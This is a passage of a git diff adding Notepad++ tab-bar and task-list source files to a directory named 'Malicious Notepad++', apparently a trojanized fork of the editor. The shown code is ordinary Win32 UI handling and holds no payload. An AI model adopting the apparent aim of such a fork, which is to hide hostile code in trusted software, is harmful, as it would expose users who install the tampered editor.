0; // wrap scrolling + } + + if (oldTabIndex != newTabIndex) + { + exchangeTabItemData(oldTabIndex, newTabIndex); + } + } + else if (wParam & (MK_CONTROL | MK_SHIFT)) + { + int tabIndex = static_cast(::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0) + (isForward ? 1 : -1)); + if (tabIndex < 0) + { + if (wParam & MK_CONTROL) + tabIndex = lastTabIndex; // wrap scrolling + else + return TRUE; + } + else if (tabIndex > lastTabIndex) + { + if (wParam & MK_CONTROL) + tabIndex = 0; // wrap scrolling + else + return TRUE; + } + setActiveTab(tabIndex); + } + else if (not _isMultiLine) // don't scroll if in multi-line mode + { + RECT rcTabCtrl, rcLastTab; + ::SendMessage(_hSelf, TCM_GETITEMRECT, lastTabIndex, reinterpret_cast(&rcLastTab)); + ::GetClientRect(_hSelf, &rcTabCtrl); + + // get index of the first visible tab + TC_HITTESTINFO hti; + LONG xy = NppParameters::getInstance()->_dpiManager.scaleX(12); // an arbitrary coordinate inside the first visible tab + hti.pt = { xy, xy }; + int scrollTabIndex = static_cast(::SendMessage(_hSelf, TCM_HITTEST, 0, reinterpret_cast(&hti))); + + if (scrollTabIndex < 1 && (_isVertical ? rcLastTab.bottom < rcTabCtrl.bottom : rcLastTab.right < rcTabCtrl.right)) // nothing to scroll + return TRUE; + + // maximal width/height of the msctls_updown32 class (arrow box in the tab bar), + // this area may hide parts of the last tab and needs to be excluded + LONG maxLengthUpDownCtrl = NppParameters::getInstance()->_dpiManager.scaleX(44); // sufficient static value + + // scroll forward as long as the last tab is hidden; scroll backward till the first tab + if ((_isVertical ? ((rcTabCtrl.bottom - rcLastTab.bottom) < maxLengthUpDownCtrl) : ((rcTabCtrl.right - rcLastTab.right) < maxLengthUpDownCtrl)) || not isForward) + { + if (isForward) + ++scrollTabIndex; + else + --scrollTabIndex; + + if (scrollTabIndex < 0 || scrollTabIndex > lastTabIndex) + return TRUE; + + // clear hover state of the close button, + // WM_MOUSEMOVE won't handle this properly since the tab position will change + if (_isCloseHover) + { + _isCloseHover = false; + ::InvalidateRect(_hSelf, &_currentHoverTabRect, false); + } + + ::SendMessage(_hSelf, WM_HSCROLL, MAKEWPARAM(SB_THUMBPOSITION, scrollTabIndex), 0); + } + } + return TRUE; + } + + case WM_LBUTTONDOWN : + { + if (_drawTabCloseButton) + { + int xPos = LOWORD(lParam); + int yPos = HIWORD(lParam); + + if (_closeButtonZone.isHit(xPos, yPos, _currentHoverTabRect, _isVertical)) + { + _whichCloseClickDown = getTabIndexAt(xPos, yPos); + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_REFRESHTABAR, 0); + return TRUE; + } + } + + ::CallWindowProc(_tabBarDefaultProc, hwnd, Message, wParam, lParam); + int currentTabOn = static_cast(::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0)); + + if (wParam == 2) + return TRUE; + + if (_doDragNDrop) + { + _mightBeDragging = true; + } + + notify(NM_CLICK, currentTabOn); + + return TRUE; + } + + case WM_RBUTTONDOWN : //rightclick selects tab aswell + { + // TCS_BUTTONS doesn't select the tab + if (::GetWindowLongPtr(_hSelf, GWL_STYLE) & TCS_BUTTONS) + { + int nTab = getTabIndexAt(LOWORD(lParam), HIWORD(lParam)); + if (nTab != -1 && nTab != static_cast(::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0))) + { + setActiveTab(nTab); + } + } + + ::CallWindowProc(_tabBarDefaultProc, hwnd, WM_LBUTTONDOWN, wParam, lParam); + return TRUE; + } + + case WM_MOUSEMOVE : + { + if (_mightBeDragging && !_isDragging) + { + if (++_dragCount > 2) + { + int tabFocused = static_cast(::SendMessage(_hSelf, TCM_GETCURFOCUS, 0, 0)); + int tabSelected = static_cast(::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0)); + + // make sure the tab they are moving is active. + if (tabFocused != tabSelected) + { + setActiveTab(tabFocused); + } + + _nSrcTab = _nTabDragged = tabFocused; + _isDragging = true; + + // ::SetCapture is required for normal non-TLS_BUTTONS. + if (!(::GetWindowLongPtr(_hSelf, GWL_STYLE) & TCS_BUTTONS)) + { + ::SetCapture(hwnd); + } + } + } + + POINT p; + p.x = LOWORD(lParam); + p.y = HIWORD(lParam); + + if (_isDragging) + { + exchangeItemData(p); + + // Get cursor position of "Screen" + // For using the function "WindowFromPoint" afterward!!! + ::GetCursorPos(&_draggingPoint); + draggingCursor(_draggingPoint); + return TRUE; + } + else + { + bool isFromTabToTab = false; + + int iTabNow = getTabIndexAt(p.x, p.y); // _currentHoverTabItem keeps previous value, and it need to be updated + + if (_currentHoverTabItem == iTabNow && _currentHoverTabItem != -1) // mouse moves arround in the same tab + { + // do nothing + } + else if (iTabNow == -1 && _currentHoverTabItem != -1) // mouse is no more on any tab, set hover -1 + { + _currentHoverTabItem = -1; + + // send mouse leave notif + notify(TCN_MOUSELEAVING, -1); + } + else if (iTabNow != -1 && _currentHoverTabItem == -1) // mouse is just entered in a tab zone + { + _currentHoverTabItem = iTabNow; + + notify(TCN_MOUSEHOVERING, _currentHoverTabItem); + } + else if (iTabNow != -1 && _currentHoverTabItem != -1 && _currentHoverTabItem != iTabNow) // mouse is being moved from a tab and entering into another tab + { + isFromTabToTab = true; + + // set current hovered + _currentHoverTabItem = iTabNow; + + // send mouse enter notif + notify(TCN_MOUSEHOVERSWITCHING, _currentHoverTabItem); + } + else if (iTabNow == -1 && _currentHoverTabItem == -1) // mouse is already outside + { + // do nothing + } + + if (_drawTabCloseButton) + { + RECT currentHoverTabRectOld = _currentHoverTabRect; + bool isCloseHoverOld = _isCloseHover; + + if (_currentHoverTabItem != -1) // is hovering + { + ::SendMessage(_hSelf, TCM_GETITEMRECT, _currentHoverTabItem, reinterpret_cast(&_currentHoverTabRect)); + _isCloseHover = _closeButtonZone.isHit(p.x, p.y, _currentHoverTabRect, _isVertical); + } + else + { + SetRectEmpty(&_currentHoverTabRect); + _isCloseHover = false; + } + + if (isFromTabToTab || _isCloseHover != isCloseHoverOld) + { + if (isCloseHoverOld && (isFromTabToTab || !_isCloseHover)) + InvalidateRect(hwnd, ¤tHoverTabRectOld, FALSE); + + if (_isCloseHover) + InvalidateRect(hwnd, &_currentHoverTabRect, FALSE); + } + + if (_isCloseHover) + { + // Mouse moves out from close zone will send WM_MOUSELEAVE message + trackMouseEvent(TME_LEAVE); + } + } + // Mouse moves out from tab zone will send WM_MOUSELEAVE message + // but it doesn't track mouse moving from a tab to another + trackMouseEvent(TME_LEAVE); + } + + break; + } + + case WM_MOUSELEAVE: + { + if (_isCloseHover) + InvalidateRect(hwnd, &_currentHoverTabRect, FALSE); + + _currentHoverTabItem = -1; + SetRectEmpty(&_currentHoverTabRect); + _isCloseHover = false; + + notify(TCN_MOUSELEAVING, _currentHoverTabItem); + break; + } + + case WM_LBUTTONUP : + { + _mightBeDragging = false; + _dragCount = 0; + + int xPos = LOWORD(lParam); + int yPos = HIWORD(lParam); + int currentTabOn = getTabIndexAt(xPos, yPos); + if (_isDragging) + { + if(::GetCapture() == _hSelf) + ::ReleaseCapture(); + + notify(_isDraggingInside?TCN_TABDROPPED:TCN_TABDROPPEDOUTSIDE, currentTabOn); + return TRUE; + } + + if (_drawTabCloseButton) + { + if ((_whichCloseClickDown == currentTabOn) && _closeButtonZone.isHit(xPos, yPos, _currentHoverTabRect, _isVertical)) + { + notify(TCN_TABDELETE, currentTabOn); + _whichCloseClickDown = -1; + + // Get the next tab at same position + // If valid tab is found then + // update the current hover tab RECT (_currentHoverTabRect) + // update close hover flag (_isCloseHover), so that x will be highlighted or not based on new _currentHoverTabRect + int nextTab = getTabIndexAt(xPos, yPos); + if (nextTab != -1) + { + ::SendMessage(_hSelf, TCM_GETITEMRECT, nextTab, reinterpret_cast(&_currentHoverTabRect)); + _isCloseHover = _closeButtonZone.isHit(xPos, yPos, _currentHoverTabRect, _isVertical); + } + return TRUE; + } + _whichCloseClickDown = -1; + } + + break; + } + + case WM_CAPTURECHANGED : + { + if (_isDragging) + { + _isDragging = false; + return TRUE; + } + break; + } + + case WM_DRAWITEM : + { + drawItem((DRAWITEMSTRUCT *)lParam); + return TRUE; + } + + case WM_KEYDOWN : + { + if (wParam == VK_LCONTROL) + ::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_DRAG_PLUS_TAB))); + return TRUE; + } + + case WM_MBUTTONUP: + { + int xPos = LOWORD(lParam); + int yPos = HIWORD(lParam); + int currentTabOn = getTabIndexAt(xPos, yPos); + notify(TCN_TABDELETE, currentTabOn); + return TRUE; + } + + case WM_LBUTTONDBLCLK: + { + if (_isDbClk2Close) + { + int xPos = LOWORD(lParam); + int yPos = HIWORD(lParam); + int currentTabOn = getTabIndexAt(xPos, yPos); + notify(TCN_TABDELETE, currentTabOn); + } + return TRUE; + } + } + + return ::CallWindowProc(_tabBarDefaultProc, hwnd, Message, wParam, lParam); +} + + +void TabBarPlus::drawItem(DRAWITEMSTRUCT *pDrawItemStruct) +{ + RECT rect = pDrawItemStruct->rcItem; + + int nTab = pDrawItemStruct->itemID; + if (nTab < 0) + { + ::MessageBox(NULL, TEXT("nTab < 0"), TEXT(""), MB_OK); + //return ::CallWindowProc(_tabBarDefaultProc, hwnd, Message, wParam, lParam); + } + bool isSelected = (nTab == ::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0)); + + TCHAR label[MAX_PATH]; + TCITEM tci; + tci.mask = TCIF_TEXT|TCIF_IMAGE; + tci.pszText = label; + tci.cchTextMax = MAX_PATH-1; + + if (!::SendMessage(_hSelf, TCM_GETITEM, nTab, reinterpret_cast(&tci))) + { + ::MessageBox(NULL, TEXT("! TCM_GETITEM"), TEXT(""), MB_OK); + } + HDC hDC = pDrawItemStruct->hDC; + + int nSavedDC = ::SaveDC(hDC); + + ::SetBkMode(hDC, TRANSPARENT); + HBRUSH hBrush = ::CreateSolidBrush(::GetSysColor(COLOR_BTNFACE)); + ::FillRect(hDC, &rect, hBrush); + ::DeleteObject((HGDIOBJ)hBrush); + + // equalize drawing areas of active and inactive tabs + int paddingDynamicTwoX = NppParameters::getInstance()->_dpiManager.scaleX(2); + int paddingDynamicTwoY = NppParameters::getInstance()->_dpiManager.scaleY(2); + if (isSelected) + { + // the drawing area of the active tab extends on all borders by default + rect.top += ::GetSystemMetrics(SM_CYEDGE); + rect.bottom -= ::GetSystemMetrics(SM_CYEDGE); + rect.left += ::GetSystemMetrics(SM_CXEDGE); + rect.right -= ::GetSystemMetrics(SM_CXEDGE); + // the active tab is also slightly higher by default (use this to shift the tab cotent up bx two pixels if tobBar is not drawn) + if (_isVertical) + { + rect.left += _drawTopBar ? paddingDynamicTwoX : 0; + rect.right -= _drawTopBar ? 0 : paddingDynamicTwoX; + } + else + { + rect.top += _drawTopBar ? paddingDynamicTwoY : 0; + rect.bottom -= _drawTopBar ? 0 : paddingDynamicTwoY; + } + } + else + { + if (_isVertical) + { + rect.left += paddingDynamicTwoX; + rect.right += paddingDynamicTwoX; + rect.top -= paddingDynamicTwoY; + rect.bottom += paddingDynamicTwoY; + } + else + { + rect.left -= paddingDynamicTwoX; + rect.right += paddingDynamicTwoX; + rect.top += paddingDynamicTwoY; + rect.bottom += paddingDynamicTwoY; + } + } + + // the active tab's text with TCS_BUTTONS is lower than normal and gets clipped + if (::GetWindowLongPtr(_hSelf, GWL_STYLE) & TCS_BUTTONS) + { + if (_isVertical) + { + rect.left -= 2; + } + else + { + rect.top -= 2; + } + } + + // draw highlights on tabs (top bar for active tab / darkened background for inactive tab) + RECT barRect = rect; + if (isSelected) + { + if (_drawTopBar) + { + int topBarHeight = NppParameters::getInstance()->_dpiManager.scaleX(4); + if (_isVertical) + { + barRect.left -= NppParameters::getInstance()->_dpiManager.scaleX(2); + barRect.right = barRect.left + topBarHeight; + } + else + { + barRect.top -= NppParameters::getInstance()->_dpiManager.scaleY(2); + barRect.bottom = barRect.top + topBarHeight; + } + + if (::SendMessage(_hParent, NPPM_INTERNAL_ISFOCUSEDTAB, 0, reinterpret_cast(_hSelf))) + hBrush = ::CreateSolidBrush(_activeTopBarFocusedColour); // #FAAA3C + else + hBrush = ::CreateSolidBrush(_activeTopBarUnfocusedColour); // #FAD296 + + ::FillRect(hDC, &barRect, hBrush); + ::DeleteObject((HGDIOBJ)hBrush); + } + } + else + { + if (_drawInactiveTab) + { + hBrush = ::CreateSolidBrush(_inactiveBgColour); + ::FillRect(hDC, &barRect, hBrush); + ::DeleteObject((HGDIOBJ)hBrush); + } + } + + // draw close button + if (_drawTabCloseButton) + { + // 3 status for each inactive tab and selected tab close item : + // normal / hover / pushed + int idCloseImg; + + if (_isCloseHover && (_currentHoverTabItem == nTab) && (_whichCloseClickDown == -1)) // hover + idCloseImg = IDR_CLOSETAB_HOVER; + else if (_isCloseHover && (_currentHoverTabItem == nTab) && (_whichCloseClickDown == _currentHoverTabItem)) // pushed + idCloseImg = IDR_CLOSETAB_PUSH; + else + idCloseImg = isSelected?IDR_CLOSETAB:IDR_CLOSETAB_INACT; + + HDC hdcMemory; + hdcMemory = ::CreateCompatibleDC(hDC); + HBITMAP hBmp = ::LoadBitmap(_hInst, MAKEINTRESOURCE(idCloseImg)); + BITMAP bmp; + ::GetObject(hBmp, sizeof(bmp), &bmp); + + int bmDpiDynamicalWidth = NppParameters::getInstance()->_dpiManager.scaleX(bmp.bmWidth); + int bmDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(bmp.bmHeight); + + RECT buttonRect = _closeButtonZone.getButtonRectFrom(rect, _isVertical); + + ::SelectObject(hdcMemory, hBmp); + ::StretchBlt(hDC, buttonRect.left, buttonRect.top, bmDpiDynamicalWidth, bmDpiDynamicalHeight, hdcMemory, 0, 0, bmp.bmWidth, bmp.bmHeight, SRCCOPY); + ::DeleteDC(hdcMemory); + ::DeleteObject(hBmp); + } + + // draw image + HIMAGELIST hImgLst = (HIMAGELIST)::SendMessage(_hSelf, TCM_GETIMAGELIST, 0, 0); + + if (hImgLst && tci.iImage >= 0) + { + IMAGEINFO info; + ImageList_GetImageInfo(hImgLst, tci.iImage, &info); + + RECT& imageRect = info.rcImage; + + int fromBorder; + int xPos, yPos; + if (_isVertical) + { + fromBorder = (rect.right - rect.left - (imageRect.right - imageRect.left) + 1) / 2; + xPos = rect.left + fromBorder; + yPos = rect.bottom - fromBorder - (imageRect.bottom - imageRect.top); + rect.bottom -= fromBorder + (imageRect.bottom - imageRect.top); + } + else + { + fromBorder = (rect.bottom - rect.top - (imageRect.bottom - imageRect.top) + 1) / 2; + yPos = rect.top + fromBorder; + xPos = rect.left + fromBorder; + rect.left += fromBorder + (imageRect.right - imageRect.left); + } + ImageList_Draw(hImgLst, tci.iImage, hDC, xPos, yPos, isSelected ? ILD_TRANSPARENT : ILD_SELECTED); + } + + // draw text + bool isStandardSize = (::SendMessage(_hParent, NPPM_INTERNAL_ISTABBARREDUCED, 0, 0) == TRUE); + + if (isStandardSize) + { + if (_isVertical) + SelectObject(hDC, _hVerticalFont); + else + SelectObject(hDC, _hFont); + } + else + { + if (_isVertical) + SelectObject(hDC, _hVerticalLargeFont); + else + SelectObject(hDC, _hLargeFont); + } + SIZE charPixel; + ::GetTextExtentPoint(hDC, TEXT(" "), 1, &charPixel); + int spaceUnit = charPixel.cx; + + TEXTMETRIC textMetrics; + GetTextMetrics(hDC, &textMetrics); + int textHeight = textMetrics.tmHeight; + int textDescent = textMetrics.tmDescent; + + int Flags = DT_SINGLELINE | DT_NOPREFIX; + + // This code will read in one character at a time and remove every first ampersand (&). + // ex. If input "test && test &&& test &&&&" then output will be "test & test && test &&&". + // Tab's caption must be encoded like this because otherwise tab control would make tab too small or too big for the text. + TCHAR decodedLabel[MAX_PATH]; + const TCHAR* in = label; + TCHAR* out = decodedLabel; + while (*in != 0) + if (*in == '&') + while (*(++in) == '&') + *out++ = *in; + else + *out++ = *in++; + *out = '\0'; + + if (_isVertical) + { + // center text horizontally (rotated text is positioned as if it were unrotated, therefore manual positioning is necessary) + Flags |= DT_LEFT; + Flags |= DT_BOTTOM; + rect.left += (rect.right - rect.left - textHeight) / 2; + rect.bottom += textHeight; + + // ignoring the descent when centering (text elements below the base line) is more pleasing to the eye + rect.left += textDescent / 2; + rect.right += textDescent / 2; + + // 1 space distance to save icon + rect.bottom -= spaceUnit; + } + else + { + // center text vertically + Flags |= DT_LEFT; + Flags |= DT_VCENTER; + + // ignoring the descent when centering (text elements below the base line) is more pleasing to the eye + rect.top += textDescent / 2; + rect.bottom += textDescent / 2; + + // 1 space distance to save icon + rect.left += spaceUnit; + } + + ::SetTextColor(hDC, isSelected ? _activeTextColour : _inactiveTextColour); + + ::DrawText(hDC, decodedLabel, lstrlen(decodedLabel), &rect, Flags); + ::RestoreDC(hDC, nSavedDC); +} + + +void TabBarPlus::draggingCursor(POINT screenPoint) +{ + HWND hWin = ::WindowFromPoint(screenPoint); + if (_hSelf == hWin) + ::SetCursor(::LoadCursor(NULL, IDC_ARROW)); + else + { + TCHAR className[256]; + ::GetClassName(hWin, className, 256); + if ((!lstrcmp(className, TEXT("Scintilla"))) || (!lstrcmp(className, WC_TABCONTROL))) + { + if (::GetKeyState(VK_LCONTROL) & 0x80000000) + ::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_DRAG_PLUS_TAB))); + else + ::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_DRAG_TAB))); + } + else if (isPointInParentZone(screenPoint)) + ::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_DRAG_INTERDIT_TAB))); + else // drag out of application + ::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_DRAG_OUT_TAB))); + } +} + +void TabBarPlus::setActiveTab(int tabIndex) +{ + ::SendMessage(_hSelf, TCM_SETCURFOCUS, tabIndex, 0); + + // the TCS_BUTTONS style does not automatically send TCM_SETCURSEL & TCN_SELCHANGE + if (::GetWindowLongPtr(_hSelf, GWL_STYLE) & TCS_BUTTONS) + { + ::SendMessage(_hSelf, TCM_SETCURSEL, tabIndex, 0); + notify(TCN_SELCHANGE, tabIndex); + } +} + +void TabBarPlus::exchangeTabItemData(int oldTab, int newTab) +{ + //1. shift their data, and insert the source + TCITEM itemData_nDraggedTab, itemData_shift; + itemData_nDraggedTab.mask = itemData_shift.mask = TCIF_IMAGE | TCIF_TEXT | TCIF_PARAM; + const int stringSize = 256; + TCHAR str1[stringSize]; + TCHAR str2[stringSize]; + + itemData_nDraggedTab.pszText = str1; + itemData_nDraggedTab.cchTextMax = (stringSize); + + itemData_shift.pszText = str2; + itemData_shift.cchTextMax = (stringSize); + + ::SendMessage(_hSelf, TCM_GETITEM, oldTab, reinterpret_cast(&itemData_nDraggedTab)); + + if (oldTab > newTab) + { + for (int i = oldTab; i > newTab; i--) + { + ::SendMessage(_hSelf, TCM_GETITEM, i - 1, reinterpret_cast(&itemData_shift)); + ::SendMessage(_hSelf, TCM_SETITEM, i, reinterpret_cast(&itemData_shift)); + } + } + else + { + for (int i = oldTab; i < newTab; ++i) + { + ::SendMessage(_hSelf, TCM_GETITEM, i + 1, reinterpret_cast(&itemData_shift)); + ::SendMessage(_hSelf, TCM_SETITEM, i, reinterpret_cast(&itemData_shift)); + } + } + ::SendMessage(_hSelf, TCM_SETITEM, newTab, reinterpret_cast(&itemData_nDraggedTab)); + + // Tell Notepad_plus to notifiy plugins that a D&D operation was done (so doc index has been changed) + ::SendMessage(_hParent, NPPM_INTERNAL_DOCORDERCHANGED, 0, oldTab); + + //2. set to focus + setActiveTab(newTab); +} + +void TabBarPlus::exchangeItemData(POINT point) +{ + // Find the destination tab... + int nTab = getTabIndexAt(point); + + // The position is over a tab. + //if (hitinfo.flags != TCHT_NOWHERE) + if (nTab != -1) + { + _isDraggingInside = true; + + if (nTab != _nTabDragged) + { + if (_previousTabSwapped == nTab) + { + return; + } + + exchangeTabItemData(_nTabDragged, nTab); + _previousTabSwapped = _nTabDragged; + _nTabDragged = nTab; + } + else + { + _previousTabSwapped = -1; + } + } + else + { + //::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_DRAG_TAB))); + _previousTabSwapped = -1; + _isDraggingInside = false; + } + +} + + +CloseButtonZone::CloseButtonZone() +{ + // TODO: get width/height of close button dynamically + _width = NppParameters::getInstance()->_dpiManager.scaleX(11); + _height = NppParameters::getInstance()->_dpiManager.scaleY(11); +} + +bool CloseButtonZone::isHit(int x, int y, const RECT & tabRect, bool isVertical) const +{ + RECT buttonRect = getButtonRectFrom(tabRect, isVertical); + + if (x >= buttonRect.left && x <= buttonRect.right && y >= buttonRect.top && y <= buttonRect.bottom) + return true; + + return false; +} + +RECT CloseButtonZone::getButtonRectFrom(const RECT & tabRect, bool isVertical) const +{ + RECT buttonRect; + + int fromBorder; + if (isVertical) + { + fromBorder = (tabRect.right - tabRect.left - _width + 1) / 2; + buttonRect.left = tabRect.left + fromBorder; + } + else + { + fromBorder = (tabRect.bottom - tabRect.top - _height + 1) / 2; + buttonRect.left = tabRect.right - fromBorder - _width; + } + buttonRect.top = tabRect.top + fromBorder; + buttonRect.bottom = buttonRect.top + _height; + buttonRect.right = buttonRect.left + _width; + + return buttonRect; +} diff --git a/Malicious Notepad++/src/WinControls/TabBar/TabBar.h b/Malicious Notepad++/src/WinControls/TabBar/TabBar.h new file mode 100644 index 0000000..0790a31 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TabBar/TabBar.h @@ -0,0 +1,298 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#ifndef _WIN32_IE +#define _WIN32_IE 0x0600 +#endif //_WIN32_IE + +#include "menuCmdID.h" +#include "resource.h" +#include +#include +#include +#include "Window.h" + +//Notification message +#define TCN_TABDROPPED (TCN_FIRST - 10) +#define TCN_TABDROPPEDOUTSIDE (TCN_FIRST - 11) +#define TCN_TABDELETE (TCN_FIRST - 12) +#define TCN_MOUSEHOVERING (TCN_FIRST - 13) +#define TCN_MOUSELEAVING (TCN_FIRST - 14) +#define TCN_MOUSEHOVERSWITCHING (TCN_FIRST - 15) + +#define WM_TABSETSTYLE (WM_APP + 0x024) + +const int marge = 8; +const int nbCtrlMax = 10; + +const TCHAR TABBAR_ACTIVEFOCUSEDINDCATOR[64] = TEXT("Active tab focused indicator"); +const TCHAR TABBAR_ACTIVEUNFOCUSEDINDCATOR[64] = TEXT("Active tab unfocused indicator"); +const TCHAR TABBAR_ACTIVETEXT[64] = TEXT("Active tab text"); +const TCHAR TABBAR_INACTIVETEXT[64] = TEXT("Inactive tabs"); + +struct TBHDR +{ + NMHDR _hdr; + int _tabOrigin; +}; + + + +class TabBar : public Window +{ +public: + TabBar() : Window() {}; + virtual ~TabBar() {}; + virtual void destroy(); + virtual void init(HINSTANCE hInst, HWND hwnd, bool isVertical = false, bool isMultiLine = false); + virtual void reSizeTo(RECT & rc2Ajust); + int insertAtEnd(const TCHAR *subTabName); + void activateAt(int index) const; + void getCurrentTitle(TCHAR *title, int titleLen); + + int32_t getCurrentTabIndex() const { + return static_cast(SendMessage(_hSelf, TCM_GETCURSEL, 0, 0)); + }; + + int32_t getItemCount() const { + return static_cast(::SendMessage(_hSelf, TCM_GETITEMCOUNT, 0, 0)); + } + + void deletItemAt(size_t index); + + void deletAllItem() { + ::SendMessage(_hSelf, TCM_DELETEALLITEMS, 0, 0); + _nbItem = 0; + }; + + void setImageList(HIMAGELIST himl); + + size_t nbItem() const { + return _nbItem; + } + + void setFont(TCHAR *fontName, int fontSize); + + void setVertical(bool b) { + _isVertical = b; + }; + + void setMultiLine(bool b) { + _isMultiLine = b; + }; + + +protected: + size_t _nbItem = 0; + bool _hasImgLst = false; + HFONT _hFont = nullptr; + HFONT _hLargeFont = nullptr; + HFONT _hVerticalFont = nullptr; + HFONT _hVerticalLargeFont = nullptr; + + int _ctrlID = 0; + + bool _isVertical = false; + bool _isMultiLine = false; + + long getRowCount() const { + return long(::SendMessage(_hSelf, TCM_GETROWCOUNT, 0, 0)); + } +}; + + +struct CloseButtonZone +{ + CloseButtonZone(); + bool isHit(int x, int y, const RECT & tabRect, bool isVertical) const; + RECT getButtonRectFrom(const RECT & tabRect, bool isVertical) const; + + int _width; + int _height; +}; + + + +class TabBarPlus : public TabBar +{ +public : + TabBarPlus() : TabBar() {}; + enum tabColourIndex { + activeText, activeFocusedTop, activeUnfocusedTop, inactiveText, inactiveBg + }; + + static void doDragNDrop(bool justDoIt) { + _doDragNDrop = justDoIt; + }; + + virtual void init(HINSTANCE hInst, HWND hwnd, bool isVertical = false, bool isMultiLine = false); + + virtual void destroy(); + + static bool doDragNDropOrNot() { + return _doDragNDrop; + }; + + int getSrcTabIndex() const { + return _nSrcTab; + }; + + int getTabDraggedIndex() const { + return _nTabDragged; + }; + + POINT getDraggingPoint() const { + return _draggingPoint; + }; + + void resetDraggingPoint() { + _draggingPoint.x = 0; + _draggingPoint.y = 0; + }; + + static void doOwnerDrawTab(); + static void doVertical(); + static void doMultiLine(); + static bool isOwnerDrawTab() {return true;}; + static bool drawTopBar() {return _drawTopBar;}; + static bool drawInactiveTab() {return _drawInactiveTab;}; + static bool drawTabCloseButton() {return _drawTabCloseButton;}; + static bool isDbClk2Close() {return _isDbClk2Close;}; + static bool isVertical() { return _isCtrlVertical;}; + static bool isMultiLine() { return _isCtrlMultiLine;}; + + static void setDrawTopBar(bool b) { + _drawTopBar = b; + doOwnerDrawTab(); + } + + static void setDrawInactiveTab(bool b) { + _drawInactiveTab = b; + doOwnerDrawTab(); + } + + static void setDrawTabCloseButton(bool b) { + _drawTabCloseButton = b; + doOwnerDrawTab(); + } + + static void setDbClk2Close(bool b) { + _isDbClk2Close = b; + } + + static void setVertical(bool b) { + _isCtrlVertical = b; + doVertical(); + } + + static void setMultiLine(bool b) { + _isCtrlMultiLine = b; + doMultiLine(); + } + + static void setColour(COLORREF colour2Set, tabColourIndex i); + +protected: + // it's the boss to decide if we do the drag N drop + static bool _doDragNDrop; + // drag N drop members + bool _mightBeDragging = false; + int _dragCount = 0; + bool _isDragging = false; + bool _isDraggingInside = false; + int _nSrcTab = -1; + int _nTabDragged = -1; + int _previousTabSwapped = -1; + POINT _draggingPoint; // coordinate of Screen + WNDPROC _tabBarDefaultProc = nullptr; + + RECT _currentHoverTabRect; + int _currentHoverTabItem = -1; // -1 : no mouse on any tab + + CloseButtonZone _closeButtonZone; + bool _isCloseHover = false; + int _whichCloseClickDown = -1; + bool _lmbdHit = false; // Left Mouse Button Down Hit + HWND _tooltips = nullptr; + + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + static LRESULT CALLBACK TabBarPlus_Proc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((TabBarPlus *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(hwnd, Message, wParam, lParam)); + }; + void setActiveTab(int tabIndex); + void exchangeTabItemData(int oldTab, int newTab); + void exchangeItemData(POINT point); + + + // it's the boss to decide if we do the ownerDraw style tab + static bool _drawInactiveTab; + static bool _drawTopBar; + static bool _drawTabCloseButton; + static bool _isDbClk2Close; + static bool _isCtrlVertical; + static bool _isCtrlMultiLine; + + static COLORREF _activeTextColour; + static COLORREF _activeTopBarFocusedColour; + static COLORREF _activeTopBarUnfocusedColour; + static COLORREF _inactiveTextColour; + static COLORREF _inactiveBgColour; + + static int _nbCtrl; + static HWND _hwndArray[nbCtrlMax]; + + void drawItem(DRAWITEMSTRUCT *pDrawItemStruct); + void draggingCursor(POINT screenPoint); + + int getTabIndexAt(const POINT & p) + { + return getTabIndexAt(p.x, p.y); + } + + int32_t getTabIndexAt(int x, int y) + { + TCHITTESTINFO hitInfo; + hitInfo.pt.x = x; + hitInfo.pt.y = y; + return static_cast(::SendMessage(_hSelf, TCM_HITTEST, 0, reinterpret_cast(&hitInfo))); + } + + bool isPointInParentZone(POINT screenPoint) const + { + RECT parentZone; + ::GetWindowRect(_hParent, &parentZone); + return (((screenPoint.x >= parentZone.left) && (screenPoint.x <= parentZone.right)) && + (screenPoint.y >= parentZone.top) && (screenPoint.y <= parentZone.bottom)); + } + + void notify(int notifyCode, int tabIndex); + void trackMouseEvent(DWORD event2check); +}; diff --git a/Malicious Notepad++/src/WinControls/TaskList/TaskList.cpp b/Malicious Notepad++/src/WinControls/TaskList/TaskList.cpp new file mode 100644 index 0000000..fdf6eb2 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TaskList/TaskList.cpp @@ -0,0 +1,290 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. 